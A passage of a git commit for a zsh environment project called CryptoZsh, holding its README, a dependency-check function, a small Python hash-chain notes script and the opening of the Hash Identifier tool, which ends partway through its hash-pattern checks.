Moving repo from Awalcon

master
six 2021-10-19 14:23:19 +02:00
commit 18eb86ebfd
31 changed files with 1565 additions and 0 deletions

28
README.md 100755
View File

@ -0,0 +1,28 @@
CryptoZsh
====
The aim of this project is to create a zsh environment for users who work with: cryptocurrencies, blockchain projects and crytpography itself.
Tools and Functions inside /draft/
====
- Random generation rules
- Network crypto tools
- Logical note taking with linking
- Local blockchain db
- Coin stat/price tracking
Commands calling functions:
chkdep - check if all dependencies are installed
chkent - check on random hardening
chkip - check public ip address
chktor - check if tor (torsocks) is used
Installing
====
cd /tmp/
git clone https://git.hsbp.org/Awalcon/CryptoZsh
cp CryptoZsh/zsh_files/.zshrc ~/
cp -R CryptoZsh/zsh_files ~/.cryptozsh
cp -R CryptoZsh/tools ~/.cryptozsh_tools

View File

@ -0,0 +1,16 @@
#!/bin/zsh
function chkdep {
type python3 >/dev/null 2>&1 || { echo >&2 "python is missing."; }
type wget >/dev/null 2>&1 || { echo >&2 "wget is missing."; }
type openssl >/dev/null 2>&1 || { echo >&2 "openssl is missing."; }
type john >/dev/null 2>&1 || { echo >&2 "john is missing."; }
type rar >/dev/null 2>&1 || { echo >&2 "rar is missing."; }
type zip >/dev/null 2>&1 || { echo >&2 "zip is missing."; }
type unzip >/dev/null 2>&1 || { echo >&2 "unzip is missing."; }
type tor >/dev/null 2>&1 || { echo >&2 "tor is missing."; }
type torsocks >/dev/null 2>&1 || { echo >&2 "torsocks is missing."; }
type traceroute >/dev/null 2>&1 || { echo >&2 "traceroute is missing."; }
type curl >/dev/null 2>&1 || { echo >&2 "curl is missing."; }
}
chkdep()

102
tools/bcp.py 100755
View File

@ -0,0 +1,102 @@
#!/usr/bin/python3
import hashlib
import random
import sys
## That part was originally secrets.py --> now bcp is integrated into a single file program
"""Generate cryptographically strong pseudo-random numbers suitable for
managing secrets such as account authentication, tokens, and similar.
See PEP 506 for more information.
https://www.python.org/dev/peps/pep-0506/
Amit nem hasznalok belole azt kivettem!
Eredeti forras: https://raw.githubusercontent.com/python/cpython/3.7/Lib/secrets.py
"""
__all__ = ['choice', 'randbelow', 'randbits', 'SystemRandom',
'token_bytes', 'token_hex', 'token_urlsafe',
'compare_digest',
]
import base64
import binascii
import os
from hmac import compare_digest
from random import SystemRandom
_sysrand = SystemRandom()
randbits = _sysrand.getrandbits
choice = _sysrand.choice
DEFAULT_ENTROPY = 64 # number of bytes to return by default
def token_bytes(nbytes=None):
"""Return a random byte string containing *nbytes* bytes.
>>> token_bytes(16) #doctest:+SKIP
b'\\xebr\\x17D*t\\xae\\xd4\\xe3S\\xb6\\xe2\\xebP1\\x8b'"""
if nbytes is None:
nbytes = DEFAULT_ENTROPY
return os.urandom(nbytes)
def token_hex(nbytes=None):
"""Return a random text string, in hexadecimal.
>>> token_hex(16) #doctest:+SKIP
'f9bf78b9a18ce6d46a0cd2b0b86df9da'"""
return binascii.hexlify(token_bytes(nbytes)).decode('ascii')
## End of integrated secrets.py
# Az egyszeruseg kedveert, 1 tomb = 1 sor
blokklanc_file = os.getenv("HOME") + "/.blokklanc.pp"
# Eredet tomb letrehozasa ha nem letezik
if not os.path.exists(blokklanc_file):
# Genezis/eredet tomb letrehozasa randommal, hogy ha ugyan az is ket szoveg, soha ne ugyan az legyen a kimenetel
eredet = "Eredet."
erand = token_hex(64)
etomb_adat = eredet + erand
etomb_hash = hashlib.sha512(etomb_adat.encode('utf-8')).hexdigest()
print("Initializing...")
print("Origin block: " + str(etomb_adat) + '||' + etomb_hash)
# beirni eredetet
ask_for_write = input("Save the first block into " + blokklanc_file + "? [y/n] ")
if ask_for_write != "y":
sys.exit()
f = open(blokklanc_file,'w')
f.write(str(etomb_adat) + etomb_hash)
f.close()
# kiolvassa az utolso sort
def utolso_sor():
blokk_file = open(blokklanc_file,'r')
for sor in blokk_file:
fb_sor = sor
print("Utolsó tömb: " + fb_sor)
return fb_sor
# hozzaad egy uj tombot
def uj_tomb(tomb_adat):
utolso_tomb_hash = utolso_sor()
uj_tomb = hashlib.sha512(utolso_tomb_hash.encode('utf-8')).hexdigest() + '||' + tomb_adat + '||'
uj_tomb_hash = hashlib.sha512(uj_tomb.encode('utf-8')).hexdigest()
fu = open(blokklanc_file,'a')
fu.write('\n' + uj_tomb + uj_tomb_hash)
# ujraszamolja a blokklanc helyesseget
def teljes_lanc_ellenorzes():
pass
teljes_lanc_ellenorzes()
# Kovetkezo letrehozasa
jegyzet = input("What do you want to add to the blockchain? ")
uj_tomb(jegyzet)
#print("Teszt: " + hashlib.sha512("teszt".encode('utf-8')).hexdigest())
# cut -d '|' -f 3 blokklanc.pp | egrep -v "^Eredet."

View File

@ -0,0 +1,592 @@
#!/usr/bin/env python
# encoding: utf-8
# Hash Identifier
# By Zion3R
# www.Blackploit.com
# Root@Blackploit.com
from builtins import input
from sys import argv, exit
version = 1.2
logo=''' #########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v'''+str(version)+''' #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################'''
algorithms={"102020":"ADLER-32", "102040":"CRC-32", "102060":"CRC-32B", "101020":"CRC-16", "101040":"CRC-16-CCITT", "104020":"DES(Unix)", "101060":"FCS-16", "103040":"GHash-32-3", "103020":"GHash-32-5", "115060":"GOST R 34.11-94", "109100":"Haval-160", "109200":"Haval-160(HMAC)", "110040":"Haval-192", "110080":"Haval-192(HMAC)", "114040":"Haval-224", "114080":"Haval-224(HMAC)", "115040":"Haval-256", "115140":"Haval-256(HMAC)", "107080":"Lineage II C4", "106025":"Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))", "102080":"XOR-32", "105060":"MD5(Half)", "105040":"MD5(Middle)", "105020":"MySQL", "107040":"MD5(phpBB3)", "107060":"MD5(Unix)", "107020":"MD5(Wordpress)", "108020":"MD5(APR)", "106160":"Haval-128", "106165":"Haval-128(HMAC)", "106060":"MD2", "106120":"MD2(HMAC)", "106040":"MD4", "106100":"MD4(HMAC)", "106020":"MD5", "106080":"MD5(HMAC)", "106140":"MD5(HMAC(Wordpress))", "106029":"NTLM", "106027":"RAdmin v2.x", "106180":"RipeMD-128", "106185":"RipeMD-128(HMAC)", "106200":"SNEFRU-128", "106205":"SNEFRU-128(HMAC)", "106220":"Tiger-128", "106225":"Tiger-128(HMAC)", "106240":"md5($pass.$salt)", "106260":"md5($salt.'-'.md5($pass))", "106280":"md5($salt.$pass)", "106300":"md5($salt.$pass.$salt)", "106320":"md5($salt.$pass.$username)", "106340":"md5($salt.md5($pass))", "106360":"md5($salt.md5($pass).$salt)", "106380":"md5($salt.md5($pass.$salt))", "106400":"md5($salt.md5($salt.$pass))", "106420":"md5($salt.md5(md5($pass).$salt))", "106440":"md5($username.0.$pass)", "106460":"md5($username.LF.$pass)", "106480":"md5($username.md5($pass).$salt)", "106500":"md5(md5($pass))", "106520":"md5(md5($pass).$salt)", "106540":"md5(md5($pass).md5($salt))", "106560":"md5(md5($salt).$pass)", "106580":"md5(md5($salt).md5($pass))", "106600":"md5(md5($username.$pass).$salt)", "106620":"md5(md5(md5($pass)))", "106640":"md5(md5(md5(md5($pass))))", "106660":"md5(md5(md5(md5(md5($pass)))))", "106680":"md5(sha1($pass))", "106700":"md5(sha1(md5($pass)))", "106720":"md5(sha1(md5(sha1($pass))))", "106740":"md5(strtoupper(md5($pass)))", "109040":"MySQL5 - SHA-1(SHA-1($pass))", "109060":"MySQL 160bit - SHA-1(SHA-1($pass))", "109180":"RipeMD-160(HMAC)", "109120":"RipeMD-160", "109020":"SHA-1", "109140":"SHA-1(HMAC)", "109220":"SHA-1(MaNGOS)", "109240":"SHA-1(MaNGOS2)", "109080":"Tiger-160", "109160":"Tiger-160(HMAC)", "109260":"sha1($pass.$salt)", "109280":"sha1($salt.$pass)", "109300":"sha1($salt.md5($pass))", "109320":"sha1($salt.md5($pass).$salt)", "109340":"sha1($salt.sha1($pass))", "109360":"sha1($salt.sha1($salt.sha1($pass)))", "109380":"sha1($username.$pass)", "109400":"sha1($username.$pass.$salt)", "1094202":"sha1(md5($pass))", "109440":"sha1(md5($pass).$salt)", "109460":"sha1(md5(sha1($pass)))", "109480":"sha1(sha1($pass))", "109500":"sha1(sha1($pass).$salt)", "109520":"sha1(sha1($pass).substr($pass,0,3))", "109540":"sha1(sha1($salt.$pass))", "109560":"sha1(sha1(sha1($pass)))", "109580":"sha1(strtolower($username).$pass)", "110020":"Tiger-192", "110060":"Tiger-192(HMAC)", "112020":"md5($pass.$salt) - Joomla", "113020":"SHA-1(Django)", "114020":"SHA-224", "114060":"SHA-224(HMAC)", "115080":"RipeMD-256", "115160":"RipeMD-256(HMAC)", "115100":"SNEFRU-256", "115180":"SNEFRU-256(HMAC)", "115200":"SHA-256(md5($pass))", "115220":"SHA-256(sha1($pass))", "115020":"SHA-256", "115120":"SHA-256(HMAC)", "116020":"md5($pass.$salt) - Joomla", "116040":"SAM - (LM_hash:NT_hash)", "117020":"SHA-256(Django)", "118020":"RipeMD-320", "118040":"RipeMD-320(HMAC)", "119020":"SHA-384", "119040":"SHA-384(HMAC)", "120020":"SHA-256", "121020":"SHA-384(Django)", "122020":"SHA-512", "122060":"SHA-512(HMAC)", "122040":"Whirlpool", "122080":"Whirlpool(HMAC)"}
# hash.islower() minusculas
# hash.isdigit() numerico
# hash.isalpha() letras
# hash.isalnum() alfanumerico
def CRC16(hash):
hs='4607'
if len(hash)==len(hs) and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("101020")
def CRC16CCITT(hash):
hs='3d08'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("101040")
def FCS16(hash):
hs='0e5b'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("101060")
def CRC32(hash):
hs='b33fd057'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("102040")
def ADLER32(hash):
hs='0607cb42'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("102020")
def CRC32B(hash):
hs='b764a0d9'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("102060")
def XOR32(hash):
hs='0000003f'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("102080")
def GHash323(hash):
hs='80000000'
if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("103040")
def GHash325(hash):
hs='85318985'
if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("103020")
def DESUnix(hash):
hs='ZiY8YtDKXJwYQ'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False:
jerar.append("104020")
def MD5Half(hash):
hs='ae11fd697ec92c7c'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("105060")
def MD5Middle(hash):
hs='7ec92c7c98de3fac'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("105040")
def MySQL(hash):
hs='63cea4673fd25f46'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("105020")
def DomainCachedCredentials(hash):
hs='f42005ec1afe77967cbc83dce1b4d714'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106025")
def Haval128(hash):
hs='d6e3ec49aa0f138a619f27609022df10'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106160")
def Haval128HMAC(hash):
hs='3ce8b0ffd75bc240fc7d967729cd6637'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106165")
def MD2(hash):
hs='08bbef4754d98806c373f2cd7d9a43c4'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106060")
def MD2HMAC(hash):
hs='4b61b72ead2b0eb0fa3b8a56556a6dca'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106120")
def MD4(hash):
hs='a2acde400e61410e79dacbdfc3413151'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106040")
def MD4HMAC(hash):
hs='6be20b66f2211fe937294c1c95d1cd4f'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106100")
def MD5(hash):
hs='ae11fd697ec92c7c98de3fac23aba525'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106020")
def MD5HMAC(hash):
hs='d57e43d2c7e397bf788f66541d6fdef9'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106080")
def MD5HMACWordpress(hash):
hs='3f47886719268dfa83468630948228f6'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106140")
def NTLM(hash):
hs='cc348bace876ea440a28ddaeb9fd3550'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106029")
def RAdminv2x(hash):
hs='baea31c728cbf0cd548476aa687add4b'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106027")
def RipeMD128(hash):
hs='4985351cd74aff0abc5a75a0c8a54115'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106180")
def RipeMD128HMAC(hash):
hs='ae1995b931cf4cbcf1ac6fbf1a83d1d3'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106185")
def SNEFRU128(hash):
hs='4fb58702b617ac4f7ca87ec77b93da8a'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106200")
def SNEFRU128HMAC(hash):
hs='59b2b9dcc7a9a7d089cecf1b83520350'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106205")
def Tiger128(hash):
hs='c086184486ec6388ff81ec9f23528727'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106220")
def Tiger128HMAC(hash):
hs='c87032009e7c4b2ea27eb6f99723454b'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106225")
def md5passsalt(hash):
hs='5634cc3b922578434d6e9342ff5913f7'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106240")
def md5saltmd5pass(hash):
hs='245c5763b95ba42d4b02d44bbcd916f1'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106260")
def md5saltpass(hash):
hs='22cc5ce1a1ef747cd3fa06106c148dfa'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106280")
def md5saltpasssalt(hash):
hs='469e9cdcaff745460595a7a386c4db0c'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106300")
def md5saltpassusername(hash):
hs='9ae20f88189f6e3a62711608ddb6f5fd'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106320")
def md5saltmd5pass(hash):
hs='aca2a052962b2564027ee62933d2382f'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106340")
def md5saltmd5passsalt(hash):
hs='de0237dc03a8efdf6552fbe7788b2fdd'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106360")
def md5saltmd5passsalt(hash):
hs='5b8b12ca69d3e7b2a3e2308e7bef3e6f'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106380")
def md5saltmd5saltpass(hash):
hs='d8f3b3f004d387086aae24326b575b23'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106400")
def md5saltmd5md5passsalt(hash):
hs='81f181454e23319779b03d74d062b1a2'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106420")
def md5username0pass(hash):
hs='e44a60f8f2106492ae16581c91edb3ba'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106440")
def md5usernameLFpass(hash):
hs='654741780db415732eaee12b1b909119'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106460")
def md5usernamemd5passsalt(hash):
hs='954ac5505fd1843bbb97d1b2cda0b98f'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106480")
def md5md5pass(hash):
hs='a96103d267d024583d5565436e52dfb3'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106500")
def md5md5passsalt(hash):
hs='5848c73c2482d3c2c7b6af134ed8dd89'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106520")
def md5md5passmd5salt(hash):
hs='8dc71ef37197b2edba02d48c30217b32'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106540")
def md5md5saltpass(hash):
hs='9032fabd905e273b9ceb1e124631bd67'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106560")
def md5md5saltmd5pass(hash):
hs='8966f37dbb4aca377a71a9d3d09cd1ac'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106580")
def md5md5usernamepasssalt(hash):
hs='4319a3befce729b34c3105dbc29d0c40'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106600")
def md5md5md5pass(hash):
hs='ea086739755920e732d0f4d8c1b6ad8d'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106620")
def md5md5md5md5pass(hash):
hs='02528c1f2ed8ac7d83fe76f3cf1c133f'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106640")
def md5md5md5md5md5pass(hash):
hs='4548d2c062933dff53928fd4ae427fc0'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106660")
def md5sha1pass(hash):
hs='cb4ebaaedfd536d965c452d9569a6b1e'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106680")
def md5sha1md5pass(hash):
hs='099b8a59795e07c334a696a10c0ebce0'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106700")
def md5sha1md5sha1pass(hash):
hs='06e4af76833da7cc138d90602ef80070'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106720")
def md5strtouppermd5pass(hash):
hs='519de146f1a658ab5e5e2aa9b7d2eec8'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("106740")
def LineageIIC4(hash):
hs='0x49a57f66bd3d5ba6abda5579c264a0e4'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True and hash[0:2].find('0x')==0:
jerar.append("107080")
def MD5phpBB3(hash):
hs='$H$9kyOtE8CDqMJ44yfn9PFz2E.L2oVzL1'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$H$')==0:
jerar.append("107040")
def MD5Unix(hash):
hs='$1$cTuJH0Ju$1J8rI.mJReeMvpKUZbSlY/'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$1$')==0:
jerar.append("107060")
def MD5Wordpress(hash):
hs='$P$BiTOhOj3ukMgCci2juN0HRbCdDRqeh.'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$P$')==0:
jerar.append("107020")
def MD5APR(hash):
hs='$apr1$qAUKoKlG$3LuCncByN76eLxZAh/Ldr1'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash[0:4].find('$apr')==0:
jerar.append("108020")
def Haval160(hash):
hs='a106e921284dd69dad06192a4411ec32fce83dbb'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109100")
def Haval160HMAC(hash):
hs='29206f83edc1d6c3f680ff11276ec20642881243'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109200")
def MySQL5(hash):
hs='9bb2fb57063821c762cc009f7584ddae9da431ff'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109040")
def MySQL160bit(hash):
hs='*2470c0c06dee42fd1618bb99005adca2ec9d1e19'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:1].find('*')==0:
jerar.append("109060")
def RipeMD160(hash):
hs='dc65552812c66997ea7320ddfb51f5625d74721b'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109120")
def RipeMD160HMAC(hash):
hs='ca28af47653b4f21e96c1235984cb50229331359'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109180")
def SHA1(hash):
hs='4a1d4dbc1e193ec3ab2e9213876ceb8f4db72333'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109020")
def SHA1HMAC(hash):
hs='6f5daac3fee96ba1382a09b1ba326ca73dccf9e7'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109140")
def SHA1MaNGOS(hash):
hs='a2c0cdb6d1ebd1b9f85c6e25e0f8732e88f02f96'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109220")
def SHA1MaNGOS2(hash):
hs='644a29679136e09d0bd99dfd9e8c5be84108b5fd'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109240")
def Tiger160(hash):
hs='c086184486ec6388ff81ec9f235287270429b225'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109080")
def Tiger160HMAC(hash):
hs='6603161719da5e56e1866e4f61f79496334e6a10'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109160")
def sha1passsalt(hash):
hs='f006a1863663c21c541c8d600355abfeeaadb5e4'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109260")
def sha1saltpass(hash):
hs='299c3d65a0dcab1fc38421783d64d0ecf4113448'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109280")
def sha1saltmd5pass(hash):
hs='860465ede0625deebb4fbbedcb0db9dc65faec30'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109300")
def sha1saltmd5passsalt(hash):
hs='6716d047c98c25a9c2cc54ee6134c73e6315a0ff'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109320")
def sha1saltsha1pass(hash):
hs='58714327f9407097c64032a2fd5bff3a260cb85f'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109340")
def sha1saltsha1saltsha1pass(hash):
hs='cc600a2903130c945aa178396910135cc7f93c63'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109360")
def sha1usernamepass(hash):
hs='3de3d8093bf04b8eb5f595bc2da3f37358522c9f'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109380")
def sha1usernamepasssalt(hash):
hs='00025111b3c4d0ac1635558ce2393f77e94770c5'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109400")
def sha1md5pass(hash):
hs='fa960056c0dea57de94776d3759fb555a15cae87'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("1094202")
def sha1md5passsalt(hash):
hs='1dad2b71432d83312e61d25aeb627593295bcc9a'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109440")
def sha1md5sha1pass(hash):
hs='8bceaeed74c17571c15cdb9494e992db3c263695'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109460")
def sha1sha1pass(hash):
hs='3109b810188fcde0900f9907d2ebcaa10277d10e'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109480")
def sha1sha1passsalt(hash):
hs='780d43fa11693b61875321b6b54905ee488d7760'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109500")
def sha1sha1passsubstrpass03(hash):
hs='5ed6bc680b59c580db4a38df307bd4621759324e'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109520")
def sha1sha1saltpass(hash):
hs='70506bac605485b4143ca114cbd4a3580d76a413'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109540")
def sha1sha1sha1pass(hash):
hs='3328ee2a3b4bf41805bd6aab8e894a992fa91549'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109560")
def sha1strtolowerusernamepass(hash):
hs='79f575543061e158c2da3799f999eb7c95261f07'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("109580")
def Haval192(hash):
hs='cd3a90a3bebd3fa6b6797eba5dab8441f16a7dfa96c6e641'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("110040")
def Haval192HMAC(hash):
hs='39b4d8ecf70534e2fd86bb04a877d01dbf9387e640366029'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("110080")
def Tiger192(hash):
hs='c086184486ec6388ff81ec9f235287270429b2253b248a70'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("110020")
def Tiger192HMAC(hash):
hs='8e914bb64353d4d29ab680e693272d0bd38023afa3943a41'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("110060")
def MD5passsaltjoomla1(hash):
hs='35d1c0d69a2df62be2df13b087343dc9:BeKMviAfcXeTPTlX'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0:
jerar.append("112020")
def SHA1Django(hash):
hs='sha1$Zion3R$299c3d65a0dcab1fc38421783d64d0ecf4113448'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:5].find('sha1$')==0:
jerar.append("113020")
def Haval224(hash):
hs='f65d3c0ef6c56f4c74ea884815414c24dbf0195635b550f47eac651a'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("114040")
def Haval224HMAC(hash):
hs='f10de2518a9f7aed5cf09b455112114d18487f0c894e349c3c76a681'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("114080")
def SHA224(hash):
hs='e301f414993d5ec2bd1d780688d37fe41512f8b57f6923d054ef8e59'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("114020")
def SHA224HMAC(hash):
hs='c15ff86a859892b5e95cdfd50af17d05268824a6c9caaa54e4bf1514'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("114060")
def SHA256(hash):
